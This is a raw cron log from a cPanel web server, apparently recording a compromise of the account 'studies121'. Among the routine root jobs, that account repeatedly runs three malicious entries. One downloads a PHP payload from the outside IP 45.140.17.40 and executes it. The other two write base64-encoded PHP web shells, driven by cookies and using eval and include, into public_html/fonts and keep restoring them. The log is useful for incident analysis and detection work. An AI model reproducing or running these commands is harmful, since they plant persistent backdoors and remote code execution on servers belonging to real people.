Sep  5 09:34:01 ip-184-168-122-23 CROND[17790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:34:01 ip-184-168-122-23 CROND[17792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:34:01 ip-184-168-122-23 CROND[17791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:35:01 ip-184-168-122-23 CROND[17963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17964]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17961]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:35:01 ip-184-168-122-23 CROND[17967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:36:01 ip-184-168-122-23 CROND[18096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:36:01 ip-184-168-122-23 CROND[18097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:36:01 ip-184-168-122-23 CROND[18099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:36:01 ip-184-168-122-23 CROND[18100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:36:01 ip-184-168-122-23 CROND[18101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:37:01 ip-184-168-122-23 CROND[18215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:37:01 ip-184-168-122-23 CROND[18217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:37:01 ip-184-168-122-23 CROND[18218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:37:01 ip-184-168-122-23 CROND[18220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:38:01 ip-184-168-122-23 CROND[18311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:38:01 ip-184-168-122-23 CROND[18312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:38:01 ip-184-168-122-23 CROND[18313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:38:01 ip-184-168-122-23 CROND[18314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:38:01 ip-184-168-122-23 CROND[18315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:39:01 ip-184-168-122-23 CROND[18406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:39:01 ip-184-168-122-23 CROND[18404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:39:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:39:01 ip-184-168-122-23 CROND[18405]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 09:39:01 ip-184-168-122-23 CROND[18403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:40:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:40:01 ip-184-168-122-23 CROND[18499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:40:01 ip-184-168-122-23 CROND[18504]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:41:02 ip-184-168-122-23 CROND[18600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:41:02 ip-184-168-122-23 CROND[18602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:41:02 ip-184-168-122-23 CROND[18603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:41:02 ip-184-168-122-23 CROND[18605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:42:01 ip-184-168-122-23 CROND[18766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:42:01 ip-184-168-122-23 CROND[18765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:42:01 ip-184-168-122-23 CROND[18763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:42:01 ip-184-168-122-23 CROND[18764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:42:01 ip-184-168-122-23 CROND[18767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:43:01 ip-184-168-122-23 CROND[18854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:43:01 ip-184-168-122-23 CROND[18857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:43:01 ip-184-168-122-23 CROND[18856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:43:01 ip-184-168-122-23 CROND[18859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:44:01 ip-184-168-122-23 CROND[18935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:44:01 ip-184-168-122-23 CROND[18939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:44:01 ip-184-168-122-23 CROND[18938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:44:01 ip-184-168-122-23 CROND[18940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:44:01 ip-184-168-122-23 CROND[18937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:45:01 ip-184-168-122-23 CROND[19099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:45:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:45:01 ip-184-168-122-23 CROND[19101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:45:01 ip-184-168-122-23 CROND[19102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:45:01 ip-184-168-122-23 CROND[19104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:45:01 ip-184-168-122-23 CROND[19105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:46:01 ip-184-168-122-23 CROND[19208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:46:01 ip-184-168-122-23 CROND[19209]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
